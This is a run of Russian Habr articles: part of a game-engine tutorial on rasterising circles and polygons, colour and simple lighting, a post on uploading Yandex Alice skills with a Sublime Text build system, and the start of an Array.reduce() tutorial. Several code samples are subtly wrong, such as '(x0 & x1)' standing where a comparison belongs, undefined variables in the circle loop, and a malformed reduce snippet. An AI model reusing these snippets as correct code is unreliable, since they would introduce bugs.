И это всё, что понадобится для работы нашего первого класса формы! Если вы хотите подробнее узнать технические аспекты алгоритма Брезенхэма (в особенности об ошибках), то можно прочитать о них в [статье в Википедии](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D1%80%D0%B5%D0%B7%D0%B5%D0%BD%D1%85%D1%8D%D0%BC%D0%B0).
---
Окружности
----------
*Источник: [http://en.wikipedia.org/wiki/File:Bresenham\_circle.svg](http://en.wikipedia.org/wiki/Bresenham's_line_algorithm)*
Растеризация окружности немного сложнее, чем растеризация отрезка прямой. Для большей части работы мы будем использовать *алгоритм центральной точки окружности*, который является развитием алгоритма Брезенхэма. То есть он состоит из похожих этапов, с некоторыми отличиями.
Новый алгоритм будет работать так:
1. Получение центральной точки и радиуса окружности.
2. Принудительное задание точек в каждом основном направлении
3. Циклический обход каждого из квадрантов, отрисовка их дуг
Класс окружности очень похож на класс отрезка прямой и будет выглядеть примерно так:
```
Circle Class
{
Variables:
int centerX, centerY; //центральная точка окружности
int radius; //радиус окружности
Function:
array returnPointsInCircle; //все точки, принадлежащие этой окружности Circle
}
```
Функция `returnPointsInCircle()` будет вести себя так же, как функция класса `LineSegment`, возвращая массив точек, чтобы камера могла отрендерить и отсечь их. Это позволяет движку обрабатывать множество разных форм, в каждую из которых нужно вносить только незначительные изменения.
Вот как будет выглядеть функция `returnPointsInCircle()` (в JavaScript):
```
function returnPointsInCircle()
{
//сохраняем все точки окружности в массив
var pointArray = new Array();
//задаём значения, необходимые для алгоритма
var f = 1 - radius; //используется для отслеживания процесса отрисованной окружности (потому что функция полурекурсивная)
var ddFx = 1; //шаг по x
var ddFy = -2 * this.radius; //шаг по y
var x = 0;
var y = this.radius;
//этот алгоритм не учитывает самые дальние точки,
//так что нам нужно задать их вручную
pointArray.push(new Point(this.centerX, this.centerY + this.radius));
pointArray.push(new Point(this.centerX, this.centerY - this.radius));
pointArray.push(new Point(this.centerX + this.radius, this.centerY));
pointArray.push(new Point(this.centerX - this.radius, this.centerY));
while(x < y) {
if(f >= 0) {
y--;
ddFy += 2;
f += ddFy;
}
x++;
ddFx += 2;
f += ddFx;
//построение текущей дуги
pointArray.push(new Point(x0 + x, y0 + y));
pointArray.push(new Point(x0 - x, y0 + y));
pointArray.push(new Point(x0 + x, y0 - y));
pointArray.push(new Point(x0 - x, y0 - y));
pointArray.push(new Point(x0 + y, y0 + x));
pointArray.push(new Point(x0 - y, y0 + x));
pointArray.push(new Point(x0 + y, y0 - x));
pointArray.push(new Point(x0 - y, y0 - x));
}
return pointArray;
}
```
Теперь мы просто добавим ещё одну конструкцию `if` в основной цикл отрисовки, и эти окружности будут полностью интегрированы в код!
Вот как может выглядеть обновлённый цикл отрисовки:
```
//обходим в цикле массив объектов
if(class type == point)
{
//выполняем текущий код рендеринга
}
else if(class type == LineSegment)
{
var segmentArray = LineSegment.returnPointsInSegment();
//loop through points in the array, drawing and culling them as we have previously
}
else if(class type == Circle)
{
var circleArray = Circle.returnPointsInCircle();
//обходим в цикле точки в массиве, отрисовывая и отсекая их, как мы делали ранее
}
```
Теперь, когда у нас есть два новых класса, давайте сделаем что-нибудь!
---
Мастер растеризации
-------------------
На этот раз наша программа будет простой. Когда пользователь нажимает кнопку мыши, мы будем отрисовывать окружность с центром в точке нажатия и со случайным радиусом.
Давайте посмотрим на код:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
var camera = new Camera(); //создаём экземпляр класса камеры
camera.objectsInWorld[]; //создаём пространство под 100 объектов в массиве камеры
//задаём пространство обзора камеры
camera.minX = 0;
camera.maxX = screenWidth;
camera.minY = 0;
camera.maxY = screenHeight;
camera.minZ = 0;
camera.maxZ = 100;
while(key != esc) {
if(mouseClick) {
//создаём новую окружность
camera.objectsInWorld.push(new Circle(mouse.x,mouse.y,random(3,10));
//рендерим всё в сцене
camera.drawScene();
}
}
}
```
Если всё получится успешно, то вы сможете отрисовывать с помощью движка отличные окружности.
---
Заключение
----------
Добавив к движку базовые возможности растеризации, мы наконец начинаем отрисовку на экране полезных объектов! Пока не было ничего сложного, но если хотите, можете попробовать рисовать людей из отрезков и окружностей, или что-то в таком духе.
В следующей части мы ещё раз взглянем на растеризацию. Только на этот раз мы добавим в движок ещё два класса: треугольники и четырёхугольники.
Часть 5: растеризация треугольников и четырёхугольников
=======================================================
Для создания классов `Triangle` и `Quad` мы будем активно использовать класс `LineSegment`.
---
Растеризация треугольников
--------------------------
Реализация класса `Triangle` в движке довольно проста, особенно благодаря использованию класса `LineSegment`, в которой и будет происходить вся растеризация. Этот класс позволит назначить три точки и отрисовать между ними отрезки прямых, чтобы создать замкнутый треугольник.
Набросок класса будет выглядеть так:
```
Triangle Class
{
Variables:
//координаты трёх точек треугольника
int Point1X, Point1Y;
int Point2X, Point2Y;
int Point3X, Point3Y;
Function:
array returnPointsInTriangle; //все точки периметра треугольника
}
```
Ради стандартизации мы предположим, что три точки объявляются в треугольнике по часовой стрелке.
Тогда с помощью класса `LineSegment` можно написать следующую функцию `returnPointsInTriangle()`:
```
function returnPointsInTriangle()
{
array PointsToReturn; //создаём временный массив для хранения точек треугольника
//создаём три отрезка прямых и сохраняем их точки в массиве
PointsToReturn.push(new LineSegment(this.Point1X, this.Point1Y, this.Point2X, this.Point2Y));
PointsToReturn.push(new LineSegment(this.Point2X, this.Point2Y, this.Point3X, this.Point3Y));
PointsToReturn.push(new LineSegment(this.Point3X, this.Point3Y, this.Point1X, this.Point1Y));
return(PointsToReturn);
}
```
Неплохо, правда? Мы уже проделали большую работу в классе `LineSegment`, поэтому нам просто последовательно соединить отрезки вместе для создания более сложных форм. Это позволяет нам с лёгкостью создавать на экране гораздо более сложные многоугольники (полигоны) простым добавлением новых `LineSegment` (и хранением большего количества точек в самом классе).
Теперь давайте посмотрим, как добавить в эту систему ещё точек, создав класс квадрата.
---
Работаем с квадратами
---------------------
Для реализации класса управления четырёхугольниками нужно всего лишь добавить несколько дополнений в класс `Triangle`. С другим множеством точек класс четырёхугольника будет выглядеть так:
```
Quad Class
{
Variables:
int Point1X, Point1Y; //координаты четырёх точек четырёхугольника
int Point2X, Point2Y;
int Point3X, Point3Y;
int Point4X, Point4Y;
Function:
array returnPointsInQuad; //возврат всех точек четырёхугольника
}
```
Теперь нам нужно просто добавить ещё один отрезок прямой в функцию `returnPointsInQuad`, вот так:
```
function returnPointsInQuad()
{
array PointsToReturn; //создаём временный массив для хранения точек четырёхугольника
//Создаём отрезки прямых и сохраняем их точки в массив
PointsToReturn.push(new LineSegment(this.Point1X, this.Point1Y, this.Point2X, this.Point2Y));
PointsToReturn.push(new LineSegment(this.Point2X, this.Point2Y, this.Point3X, this.Point3Y));
PointsToReturn.push(new LineSegment(this.Point3X, this.Point3Y, this.Point4X, this.Point4Y));
PointsToReturn.push(new LineSegment(this.Point4X, this.Point4Y, this.Point1X, this.Point1Y));
return(PointsToReturn);
}
```
Хотя такой способ создания классов довольно прост, есть гораздо более лёгкий способ инкапсуляции всех полигонов в один класс. С помощью магии циклов и массивов мы можем реализовать класс полигонов, который сможет вмещать в себя формы почти любой сложности!
---
Работаем с полигонами
---------------------
Для создания постоянно расширяющегося класса полигона нам нужны два серьёзных шага. Первый — поместить все точки в массив, который даст нам набросок класса, похожего на такой:
```
Polygon Class
{
Variables:
array Points; //содержит все точки полигона в массиве
Function:
array returnPointsInPolygon; //массив, содержащий все точки полигона
}
```
Второй — использование цикла для обхода всего неопределённого количества отрезков прямых в функции `returnPointsInPolygon()`, которая может выглядеть примерно так:
```
function returnPointsInPolygon
{
array PointsToReturn; //временный массив для хранения точек полигона
//циклический обход всех точек в полигоне с перемещением по одной паре координат за раз (с шагом два)
for(int x = 0; x < this.Points.length; x+=2)
{
if(это не последняя точка)
{
//создаём отрезок прямой между этой точкой и следующей в массиве
PointsToReturn.push(new LineSegment(this.Points[x], this.Points[x+1], this.Points[x+2], this.Points[x+3]));
}
else if(это последняя точка)
{
//создаём отрезок прямой между этой точкой и первой точкой массива
PointsToReturn.push(new LineSegment(this.Points[x-2], this.Points[x-1], this.Points[0], this.Points[1]));
}
}
//возврат массива точек
return PointsToReturn;
}
```
Добавив в движок этот класс, мы можем одной строкой кода создавать что угодно — от треугольника до 39-стороннего чудовища.
---
Создатель полигонов
-------------------
Чтобы поэкспериментировать с новым классом полигона, давайте создадим программу, демонстрирующую все его возможности. Наша программа позволит пользователю добавлять или удалять стороны отображаемого полигона с помощью клавиш. Разумеется, нужно сделать ограничение на количество сторон полигона, потому что при меньше чем трёх сторонах он перестаёт быть полигоном. Нас не очень волнует верхний предел сторон полигона, потому что он будет хорошо масштабироваться. Однако мы ограничим количество сторон десятью, потому что будем задавать новые точки в коде.
Спецификации программы можно разбить на следующие части:
* Первоначальная отрисовка полигона на экране.
* При нажатии клавиши **A** снижать количество сторон полигона на 1.
* При нажатии клавиши **S** увеличивать количество сторон полигона на 1.
* Количество сторон полигона не должно быть меньше 3.
* Количество сторон полигона не должно быть больше 10.
Давайте посмотрим, как должен выглядеть наш код:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
var camera = new Camera(); //создаём экземпляр класса камеры
camera.objectsInWorld[]; //инициализируем массив объектов камеры
//задаём пространство обзора камеры
camera.minX = 0;
camera.maxX = screenWidth;
camera.minY = 0;
camera.maxY = screenHeight;
camera.minZ = 0;
camera.maxZ = 100;
//cоздаём массив точек для каждого размера полигонов
var threeSides = new Array(100,100,100,50,50,50);
var fourSides = new Array(points in here);
var fiveSides = new Array(points in here);
var sixSides = new Array(points in here);
var sevenSides = new Array(points in here);
var eightSides = new Array(points in here);
var nineSides = new Array(points in here);
var tenSides = new Array(points in here);
//для удобства доступа сохраняем все массивы в другом массиве
var sidesArray = new Array(threeSides, fourSides, fiveSides, sixSides, sevenSides, eightSides, nineSides, tenSides);
//отслеживаем текущее количество сторон полигона
var polygonPoints = 3;
//создаём изначальный отображаемый полигон
var polygon = new Polygon(sidesArray[0][0], sidesArray[0][1], sidesArray[0][2], sidesArray[0][3], sidesArray[0][4], sidesArray[0][5],);
//отрисовываем изначальный полигон на экране
camera.drawScene();
//пока пользователь не нажал клавишу escape
while(key != esc) {
if(key pressed == 'a')
{
//если количество сторон полигона не может стать меньше 3
if(polygonPoints != 3)
{
//уменьшить количество точек
polygonPoints--;
//изменяем полигон, чтобы он имел нужное количество точек
}
//перерисовка сцены
camera.drawScene();
}
else if(key pressed == 's')
{
//если количество сторон полигона не может стать больше 10
if(polygonPoints != 10)
{
//увеличиваем количество точек
polygonPoints++;
//изменяем полигон, чтобы он имел нужное количество точек
}
//перерисовка сцены
camera.drawScene();
}
}
}
```
Наша маленькая программа теперь позволит вам менять полигон на экране! Если вы хотите сделать программу немного мощнее, то можете добавить в часть с изменением полигона какой-нибудь алгоритм для упрощения масштабирования. Не знаю, существует ли он, но если да, то вы с лёгкостью можете получить бесконечно масштабируемый полигон!
---
Заключение
----------
Теперь в нашем движке довольно много операций растеризации, что позволяет нам создать почти любую необходимую форму (однако некоторые из них потребуют комбинирования). В следующей части мы отойдём от рисования форм и поговорим о других свойствах. Если вам интересно добавить на экран немного цвета, то читайте следующую часть!
Часть 5: цвета
==============
Наш теоретический движок уже содержит почти всё необходимое, а именно:
* Классы `Point` и `Vector` (строительные кирпичики движка).
* Функции преобразований точек.
* Класс `Camera` (задаёт область видимости и отсекает точки за пределами экрана).
* Три класса для растеризации (отрезков прямых, окружностей и полигонов).
Теперь давайте добавим цвета!
---
Цвет для всех!
--------------
Наш движок будет обрабатывать цвета, храня их значения в классе `Point`. Это позволит каждой точке иметь собственный цвет, что намного упростит расчёты освещения и затенения (по крайней мере, для человека — иногда такой код движка менее эффективен). При вычислении освещения и затенения сцены мы можем создать функцию со списком точек и обработать все их с учётом расстояния до источника света, чтобы соответствующим образом изменить их цвет.
Один из самых стандартных способов хранения цвета в программировании — использование красного, зелёного и синего значений (обычно это называется аддитивным смешением цветов). Сохраняя значение от 0 до 255 каждого из компонентов цвета, можно создать большую палитру цветов. (Таким образом определяют цвет большинство API, поэтому для совместимости логично использовать этот способ).
В зависимости от используемого графического API эти значения можно передавать или в десятеричном (`255,0,0`), или в шестнадцатеричном виде (`0xFF0000` или `#FF0000`). Мы будем использовать десятеричный формат, потому что с ним гораздо проще работать. Кроме того, если ваш графический API использует шестнадцатеричные значения, то в нём скорее всего есть функция для преобразования десятеричных значений в шестнадцатеричные, то есть это не будет проблемой.
Чтобы начать реализацию цветовой модели, мы добавим три новых переменных в класс Point: `red`, `blue` и `green`. Пока не происходит ничего непонятного, но вот как должен теперь выглядеть набросок нашего класса `Point`:
```
Point Class
{
Variables:
num tuple[3]; //(x,y,z)
num red, green, blue; //при желании можно сократить до r, g, b
Operators:
Point AddVectorToPoint(Vector);
Point SubtractVectorFromPoint(Vector);
Vector SubtractPointFromPoint(Point);
Null SetPointToPoint(Point);
Functions:
drawPoint; //отрисовка точки в её кортеже положения
}
```
Вот и всё, что нам нужно для хранения цвета точки. Теперь нам просто нужно изменить функцию отрисовки камеры, чтобы она использовала указанный цвет.
Вид функции очень сильно зависит от используемого графического API, но во всех интерфейсах обычно есть похожая функция:
```
object.setColor(red, green, blue)
```
Если в вашем графическом API используются шестнадцатеричные, а не десятеричные значения цвета, то функция будет выглядеть примерно так:
```
object.setColor(toHex(red,green,blue))
```
В этой строке используется функция `toHex()` (повторюсь, в разных API названия функций будут разными), преобразующая значение RGB в шестнадцатеричное значение, чтобы не пришлось этого делать вручную.
Внеся эти изменения, вы сможете получить в сцене цветные точки. На следующем этапе мы дополним классы растеризации, чтобы можно было раскрашивать формы целиком.
Чтобы добавить в классы такую возможность, мы просто должны добавить к функциям конструкторов управление цветом. Это может выглядеть так:
```
lineSegment::constructor(startX, startY, endX, endY, red, green, blue)
{
this.startX = startX;
this.startY = startY;
this.endX = endX;
this.endY = endY;
this.red = red;
this.green = green;
this.blue = blue;
}
```
Теперь нам просто нужно изменить функцию возвращаемых им точек, чтобы каждая точка в массиве имела указанный цвет. Новая функция будет выглядеть так:
```
function returnPointsInSegment()
{
//создаём список для хранения всех точек отрезка прямой
var pointArray = new Array();
//задаём переменные функции на основании начальной и конечной точек класса
var x0 = this.startX;
var y0 = this.startY;
var x1 = this.endX;
var y1 = this.endY;
//вычисляем разность векторов и другие переменные, необходимые для алгоритма Брезенхэма
var dx = Math.abs(x1-x0);
var dy = Math.abs(y1-y0);
var sx = (x0 & x1) ? 1 : -1; //шаг по x
var sy = (y0 & y1) ? 1 : -1; //шаг по y
var err = dx-dy; //получаем начальное значение ошибки
//задаём первую точку в массиве
pointArray.push(new Point(x0,y0,this.red,this.green,this.blue));
//Основной цикл обработки
while(!((x0 == x1) && (y0 == y1)))
{
var e2 = err * 2; //содержит значение ошибки
//используем значение ошибки определения того, в какую сторону нужно округлять точку (вверх или вниз)
if(e2 => -dy)
{
err -= dy;
x0 += sx;
}
if(e2 < dx)
{
err += dx;
y0 += sy;
}
//добавляем новую точку в массив
pointArray.push(new Point(x0, y0,this.red,this.green,this.blue));
}
return pointArray;
}
```
Теперь каждая точка на отрезке прямой имеет одинаковый цвет, переданный в отрезок прямой. Можно использовать этот способ для задания цветов и других классов растеризации, и тогда ваша сцена будет раскрашена разными цветами!
Давайте используем наши новые возможности, написав программу.
---
Экспериментируем с 16,7 миллиона цветов
---------------------------------------
С помощью аддитивного смешения цветов мы с лёгкостью можем создать больше 16,7 миллиона цветов, используя простую запись (`r,g,b`). Мы создадим программу, которая пользуется всем этим огромным количеством цветов.
Мы позволим пользователю с помощью нажатий клавиш отдельно управлять красным, зелёным и синим компонентами цвета и он сможет выбрать любой понравившийся цвет.
Программа будет иметь следующие спецификации:
* Отрисовка объекта на экране.
* При нажатии клавиши **A** значение красного компонента снижается, при нажатии **Q** — увеличивается.
* При нажатии клавиши **S** значение зелёного компонента снижается, при нажатии **W** — увеличивается.
* При нажатии клавиши **D** значение синего компонента снижается, при нажатии **E** — увеличивается.
* Перерисовка объекта после обновления цвета.
* Необходимо ограничивать значения компонентов и не давать им уходить за пределы от 0 до 255.
С учётом всего этого давайте посмотрим на то, как может выглядеть набросок нашей программы:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
var camera = new Camera(); //создаём экземпляр класса камеры
//задаём пространство обзора камеры
camera.minX = 0;
camera.maxX = screenWidth;
camera.minY = 0;
camera.maxY = screenHeight;
camera.minZ = 0;
camera.maxZ = 100;
//храним цвет, чтобы им можно было управлять
var red, green, blue;
//отрисовка изначального объекта и присваивание его переменной
while(key != esc) {
if(key press = 'a')
{
if(red > 0)
{
red --;
object.red = red;
//перерисовка объекта
}
}
if(key press = 'q')
{
if(red < 255)
{
red ++;
object.red = red;
//перерисовка объекта
}
}
if(key press = 's')
{
if(green > 0)
{
green --;
object.green = green;
//перерисовка объекта
}
}
if(key press = 'w')
{
if(green < 255)
{
green ++;
object.green = green;
//перерисовка объекта
}
}
if(key press = 'd')
{
if(blue > 0)
{
blue --;
object.blue = blue;
//перерисовка объекта
}
}
if(key press = 'e')
{
if(blue < 255)
{
blue ++;
object.blue = blue;
//перерисовка объекта
}
}
}
}
```
Теперь мы можем поэкспериментировать с объектом и придать ему любой цвет!
---
Заключение
----------
Мы добавили в движок цвет и теперь у нас есть всё необходимое для работы с освещением. В следующей части мы рассмотрим процесс создания источником освещения и напишем функции, позволяющие этим источникам влиять на цвета точек.
Часть 7: динамическое освещение
===============================
В этой части мы рассмотрим только самые основы динамического освещения, так что не слишком пугайтесь (вся эта тема очень обширна и о ней пишут целые книги).
Если конкретнее, то мы будем создавать одноточечную одноцветную систему динамического освещения с постоянным радиусом. Но прежде чем начать, давайте рассмотрим некоторые из ранее созданных классов, которые нам пригодятся.
---
Повторение
----------
Наше динамическое освещение будет обрабатываться для каждой точки в процессе их вывода на экран. Это значит, что мы будем активно использовать два наших предыдущих класса: класс `Point` и класс `Camera`. Вот как они выглядят:
```
Point Class
{
Variables:
num tuple[3]; //(x,y,z)
Operators:
Point AddVectorToPoint(Vector);
Point SubtractVectorFromPoint(Vector);
Vector SubtractPointFromPoint(Point);
Null SetPointToPoint(Point);
Functions:
drawPoint; //отрисовывает точку в кортеже её положения
}
Camera Class
{
Vars:
int minX, maxX;
int minY, maxY;
int minZ, maxZ;
array objectsInWorld; //массив всех существующих объектов
Functions:
null drawScene(); //отрисовывает все нужные объекты на экран
}
```
Давайте создадим на основе этой информации простой класс освещения.
---
Класс освещения
---------------
*Пример динамического освещения. Источник: <http://redeyeware.zxq.net>*
Для работы класс освещения потребуется некоторая информация, а именно положение, цвет, тип и интенсивность (или радиус освещения).
Как я говорил ранее, освещение будет рассчитываться для каждой точки перед её отрисовкой. Преимущества такого подхода в том, что это проще для структуры движка и переносит большую часть нагрузки программы на центральный процессор. Если вы будете вычислять освещение предварительно, то нагрузка переместится на жёсткий диск компьютера и в зависимости от конструкции движка это будет реализовать легче или сложнее.
С учётом всего этого класс будет выглядеть примерно так:
```
Lighting Class
{
Variables:
num position[3]; //(x,y,z)
num red = 255; //значение, прибавляемое к значению r точки при полной интенсивности
num green = 255; //значение, прибавляемое к значению g точки при полной интенсивности
num blue = 255; //значение, прибавляемое к значению b точки при полной интенсивности
string lightType = "point"; //тип освещения
num radius = 50; //радиус источника света в пикселях
}
```
Пока мы для простоты оставим все эти значения жёстко заданными, но если вы захотите расширить возможности классов освещения, то легко сможете изменять эти значения через другие функции, конструктор и т.д.
Однако все важные вычисления для динамического освещения будут выполняться в классе камеры, поэтому давайте рассмотрим его.
---
Свет? Камера? Мотор.
--------------------
*Ещё один пример динамического освещения. Источник: <http://blog.illuminatelabs.com/2010/04/hdr-and-baked-lighting.html>*
Теперь мы добавим в класс камеры новую переменную, которую используем для хранения источника света. Пока эта переменная будет содержать только один экземпляр источника, но её можно легко расширить, чтобы можно было хранить несколько точечных источников.
Непосредственно перед отрисовкой точки мы будем проверять, находится ли она в радиусе источника света. Если находится, то нам нужно найти расстояние между точкой и положением источника, а затем изменить цвет точки в соответствии с расстоянием.
С учётом всего этого мы можем добавить код, похожий на код из функции камеры `drawScene()`:
```
if(currentPoint.x >= (light.x - light.radius)){ //если точка находится в пределах левой границы источника
if(currentPoint.x <= (light.x + light.radius)){ //если точка находится в пределах правой границы источника
if(currentPoint.y >= (light.y - light.radius)){ //если точка находится в пределах верхней границы источника
if(currentPoint.y <= (light.y + light.radius)){ //если точка находится в пределах нижней границы источника
//вычисление расстояния между точкой и источником (distance)
//вычисление процента применяемого освещения (percentage = distance / radius)
point.red += (light.red * percentage); //прибавляем красный компонент освещения, уменьшенный в соответствии с расстоянием
point.green += (light.green * percentage); //прибавляем зелёный компонент освещения, уменьшенный в соответствии с расстоянием
point.blue += (light.blue * percentage); //прибавляем синий компонент освещения, уменьшенный в соответствии с расстоянием
}
}
}
}
```
Как вы видите, наш способ изменения цвета точки пока не слишком сложен (однако существуют и многие другие, которые можно при желании использовать). Мы меняем цвет точки на процент, зависящий от расстояния до центра источника освещения. Наш способ освещения совершенно не учитывает затенения, поэтому далёкие от источника света точки не становятся темнее, а объекты не перекрывают свет от других объектов, которые могут находиться за ними.
---
Следуй за светом
----------------
На этот раз в программе мы будем использовать несколько постоянных форм на экране. Вы можете выбрать любые формы, но в нашем примере я использую несколько простых точек. Когда пользователь нажимает мышью на экране, мы создаём в этой точке источник света. При следующем нажатии мы перемещаем точку в новое положение, и так далее. Это позволит нам понаблюдать за динамическим освещением в действии.
Вот как может выглядеть программа:
```
main{
//настройка выбранного графического API
//настройка клавиатурного ввода (может и не потребоваться)
var camera = new Camera(); //создаём экземпляр класса камеры
//задаём пространство обзора камеры
camera.minX = 0;
camera.maxX = screenWidth;
camera.minY = 0;
camera.maxY = screenHeight;
camera.minZ = 0;
camera.maxZ = 100;
//отрисовка изначальных объектов и расположение их в пространстве камеры
while(key != esc) {
if(mouseClick) {
if(firstClick) {
//создание изначального объекта источника света в точке курсора мыши
}
else {
//изменение положения объекта источника освещения
}
camera.drawScene();
}
}
```
Теперь вы сможете оценить динамическое освещение в действии и увидеть, какую глубину оно добавляет игровому движку.
---
Заключение
----------
Хотя наше динамическое освещение и простое, его можно при желании запросто расширить. Некоторые довольно простые, но интересные дополнения:
* изменяемый радиус освещения
* изменяемый цвет освещения (вместо однообразного изменения цвета можно изменять его на часть заданного цвета)
* блокировка света сплошными объектами
* обработка нескольких источников света
* добавление тени всем точкам за пределами радиуса источника света
* эксперименты с другими типами источников (направленный, конический и т.д.) | https://habr.com/ru/post/334580/ | null | ru | null |
# Яндекс.Функции, Sublime Text и навыки для Алисы
27 июня Яндекс проводил [онлайн-хакатон](https://yandex.ru/promo/events/generated/online-hack-alisa-27-06-2020) по разработке навыков для Алисы.
Решил и я принять в нем участие. Ранее навыки для Алисы я уже делал, но хостил их все на Google App Engine. Тут же я решил изучить что-то новое в рамках Хакатон. Яндекс активно продвигает свои [Функции в Яндекс.Облаке](https://yandex.ru/dev/dialogs/alice/doc/deploy-ycloud-function-docpage/) для разработки навыков. Для навыков они бесплатны (правда, бесплатно не всё).
Да и Google App Engine теперь требует подключить аккаунт для оплаты, чтобы приложение на сервер залить.
Решил я попробовать навык в Яндекс.Облаке разместить. К тому же, решил я, навык должен быть простым — чтобы за день в рамках Хакатона успеть сделать. Тут Функции в Облаке очень подходят — к сторонним сервисам обращаться не надо (они в функциях платные), данные [можно хранить в самом навыке](https://yandex.ru/dev/dialogs/alice/doc/session-persistence-docpage/), внешняя БД не нужна.
Раньше я старался делать полезные навыки — чтобы оплатить парковку голосом, например (в Яндекс.Навигаторе) или узнать, когда автобус/троллейбус/трамвай придет на ближайшую остановку. Это требовало интеграций со сторонними сервисами, долгой разработки, а Яндексу, [судя по премии Алисы](https://wiki.yaboard.com/w/%D0%9A%D0%B0%D0%BA%D0%B8%D0%B5_%D0%9D%D0%B0%D0%B2%D1%8B%D0%BA%D0%B8_%D0%BF%D0%BE%D0%BF%D1%80%D0%BE%D0%B1%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%3F), больше игровые-развлекательные навыки по душе. Потому в этот раз я решил делать игру.
Для работы с Функциями предлагается либо все делать локально, а потом файлы в Функции загружать, либо же редактировать файлы в онлайн-редакторе. Онлайн-редакторы я люблю ;), потому сначала попробовал воспользоваться им. Однако после двух-трех-четырех правок и сохранения новых версий, от этой идеи решил отказаться — уж очень неудобно, что нажав на Сохранить, тебя редиректит на другой экран. Итого каждая правка — это куча лишних кликов.
С [командой строкой](https://cloud.yandex.ru/docs/cli/quickstart#install) жить чуть проще. Но файлы нужно каждый раз нужно в zip добавлять, а лишь потом в Облако грузить. Руками — неудобно.
Так уж сложилось, что моя IDE — это Sublime Text 3. Недавно Google отказался от Google App Engine Launcher и с ним остался единственный вариант — загрузка файлов через командную строку. Тогда-то я и узнал о существовании [build systems](http://www.sublimetext.com/docs/3/build_systems.html) в Sublime Text — нажимаешь Ctrl/Cmd+B и Sublime выполняет нужную тебе команду. Для GAE я тогда сделал [набор команд](https://gist.github.com/and7ey/09c0ec2308a15d4fd7b964911b45215a), решил, что и тут что-то подобное нужно.
Сначала была сделана функциональность просто для загрузки файлов.
Для GAE я делал так, чтобы передаваемые параметры (а именно — название проекта) читалось из файла проекта Sublime Text. Тут же для экономии времени название функции, точка входа и остальные параметры просто зашиты в build system. Не очень хорошо, но для моих целей подходило.
Но если все тестировать на боевом сервере, то и логи надо как-то удобно смотреть. Потому для загрузки и отображения логов было добавлена отдельная команда.
Увы, если логи просто отобразить, то ориентироваться в них довольно сложно.
Пришлось немного подшаманить с командой (чтобы unicode-строки отображались корректно — но и то, работает это не всегда), с самим кодом (чтобы JSON выводить в читаемом виде):
```
logging.getLogger().setLevel(logging.DEBUG)
logging.debug('REQUEST: ')
for line in json.dumps(event['request'], indent=4).split('\n'):
logging.debug(line)
```
и создать [отдельный файл синтаксиса](http://www.sublimetext.com/docs/3/syntax.html), чтобы подсвечивать ошибки в логе.
Отдельная удобная фича — Sublime Text умеет подсвечивать и саму строку, если нашла ее в коде.
Итого получилось следующее —
**Файл Yandex Cloud.sublime-build**
```
// Install Yandex CLI - https://cloud.yandex.ru/docs/cli/quickstart#install
//
// http://www.sublimetext.com/docs/3/build_systems.html
// https://cloud.yandex.ru/docs/functions/operations/function/version-manage#version-create
{
"file_patterns": ["*.py"],
"syntax": "Packages/User/YCLog.sublime-syntax",
"file_regex": "File \\\"/function/code/(...*?)\\\", line ([0-9]*)",
"variants":
[
{
"name": "Upload",
"shell_cmd": "zip -u -0 yc_upload.zip *.py && yc serverless function version create --function-name=my-function-name --runtime=python27 --entrypoint=main.handler --memory=128m --execution-timeout=2s --source-path=yc_upload.zip",
},
{
"name": "Logs",
"shell_cmd": "printf '%b\n' \"\\$(yc serverless function logs alice-guess-the-language)\""
}
]
}
```
**Файл YCLog.sublime-syntax**
```
%YAML 1.2
---
# See http://www.sublimetext.com/docs/3/syntax.html
name: YC Log
file_extensions: [log]
scope: source.example-c
contexts:
main:
# Request identifiers
- match: '\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} (START|END|REPORT) RequestID: .*'
scope: storage.type.string.c
# Dates
- match: '\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}'
scope: comment.line.c
- match: '\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}.\d{2,3}Z [0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}'
scope: comment.line.c
# Log level
- match: '\[(INFO|DEBUG)\]'
scope: comment.line.example-c
# Log level
- match: '\[(ERROR|WARNING)\]'
scope: keyword.control.flow.break.c
# Strings begin and end with quotes, and use backslashes as an escape
# character
- match: '"'
scope: punctuation.definition.string.begin.c
push: double_quoted_string
double_quoted_string:
- meta_scope: string.quoted.double.example-c
- match: '\\.'
scope: constant.character.escape.example-c
- match: '"'
scope: punctuation.definition.string.end.example-c
pop: true
```
Редактировать код Функций в Яндекс.Облаке стало гораздо приятнее.
P.S. Мой навык — игра [Угадай язык](https://dialogs.yandex.ru/developer/skills/a706e4b9-4abd-4587-8067-0200a9b05d74). | https://habr.com/ru/post/509670/ | null | ru | null |
# Пять интересных способов использования Array.reduce() (и один скучный путь)
Привет, Хабр! Представляю вашему вниманию перевод статьи ["Five Interesting Ways to Use Array.reduce() (And One Boring Way)"](https://24ways.org/2019/five-interesting-ways-to-use-array-reduce/) автора Chris Ferdinandi.
Из всех современных методов работы с массивами самым сложным из всех, что мне пришлось использовать, был Array.reduce().
На первый взгляд он кажется простым, скучным методом, который мало что дает. Но, не смотря на свой скромный вид, Array.reduce() является мощным и гибким дополнением к вашему набору инструментов разработчика.
Сегодня рассмотрим некоторые интересные вещи, которые можно сделать с помощью Array.reduce().
#### Как работает Array.reduce()
Большинство современных методов массива возвращают новый массив. Метод Array.reduce() немного более гибкий. Он может вернуть все что угодно. Его цель — взять массив и сжать его содержимое в одно значение.
Это значение может быть числом, строкой или даже объектом или новым массивом. Это та часть, которая всегда сбивала меня с толку — я не понимал, насколько она гибкая!
#### Синтаксис
Array.reduce() принимает два аргумента: метод callback, выполняемый для запуска каждого элемента в массиве, и начальное значение initialValue.
Callback также принимает два аргумента: accumulator, который является текущим объединенным значением, и текущий элемент в цикле currentValue. Все, что вы возвращаете, используется в качестве accumulator для следующего элемента в цикле. В самом первом цикле вместо этого используется начальное значение.
```
var myNewArray = [].reduce(function (accumulator, current) {
return accumulator;}, starting);
}, starting);
```
Рассмотрим несколько примеров
```
var myNewArray = [].reduce(function (accumulator, current) {
return accumulator;}, starting);
```
**1.Суммирование чисел**
